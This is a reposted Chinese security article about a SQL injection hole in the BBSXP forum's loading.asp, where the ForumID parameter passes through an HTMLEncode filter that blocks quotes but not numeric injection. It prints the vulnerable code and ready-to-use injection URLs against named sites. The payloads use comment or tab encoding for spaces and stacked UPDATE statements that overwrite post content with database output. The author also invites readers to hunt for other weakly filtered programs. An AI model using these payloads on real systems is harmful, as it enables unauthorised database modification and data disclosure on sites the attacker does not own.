| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
HtmlEncode过滤变量不足分析报
HtmlEncode过滤变量不足分析报
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 12:02:29
====
废话

本文是看了华仔的BBSXP的loading.asp的forumid变量过滤不足后写的总结报告.


内容

让我们先来看BBSXP的loading.asp的代码吧

--------------------------------------<del>cut</del>----------------------------------
1 <!-- #include file="Setup.asp" -->
2 <%
3 id=int(Request("id"))
4 ForumID=HTMLEncode(Request("ForumID"))

.......

53 sql="select * from [BBSXP_Forums] where id="&ForumID&""

--------------------------------------<del>cut</del>----------------------------------

上面的代码我们知道,forumid的过滤方式是htmlencode.典型的数字型注射方式.
再来看一下htmlencode是怎么验证的:

--------------------------------------<del>cut</del>----------------------------------
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"/","/")
fString=replace(fString,"--","--")
fString=replace(fString,CHR(9)," ")
fString=replace(fString,CHR(10),"
")
fString=replace(fString,CHR(13),"")
fString=replace(fString,CHR(22),"")
fString=replace(fString,CHR(32)," ")
fString=replace(fString,CHR(34),""")'双引号
fString=replace(fString,CHR(39),"'")'单引号
if IsSqlDataBase=0 then fString=ReplaceText(fString,"[/u30A0-/u30FF]"," ") '过滤片假名(日文字符)
HTMLEncode=fString
end function
--------------------------------------<del>cut</del>----------------------------------

从上面的过滤方式,我们知道过滤了,单引号,又引号,还;,— 学过注射的哥们就知道,仅过滤这些是不够的,特别是sql的,上面的过滤等于没过滤.

原理我觉得多说无用,构造一个例子大家就明白了.
Eg:
http://www.linzi.org.cn/loading.asp?forumid=1/**/update/**/set/**/content=

(select/**/@@version)/**/where/**/username=linzi

其中空格可以用/**/也可用%09替换.

但是换成字符型的,这个时候就是过滤掉了,因为htmlencode过滤了引号,至少我是没办法突破了,如果
大虾们有没法突破的话,可以联系偶一下,谢谢.

好了,文章就到此了,有好多程序过滤的并不严,具体是什么程序,大家自己动手吧

==
结束语
==
上面的这篇报告虽然没有什么亮点,但是从这篇至少让我们知道不要以为变量过滤了,就一定没有注射漏洞,这篇报告让我们学到对各种过滤
方式的突破.另代码程序员在编写着也该问问自己,我过滤严了吗?

ps:

这里提出一种对注射时屏出错提示的突破方法.
原理很容易,不说了,一个例子大家就知道我的思路啦.
list.asp?id=1;update title set content=(select @@version) where id=1
再浏览一下 http://bbs.cnbct.org/list.asp?id=1
就会发现文章的内容显示的是select @@version的内容,嘿嘿

【转自世纪安全网 http://www.21safe.com】
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    HP DTMail附件参数缓冲区
    企业挑选统一威胁管理(
    中小企业整合式安全-解
    中小企业整合式安全-解
    win3.2里面的文件管理器
    HTTP 1.1状态代码及其含
    xmlHTTP技术资料
    AAL0 - AAL5:ATM 适配层
    AAL:ATM 适配层(AAL0、
    ATM 层:异步传输模式层

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览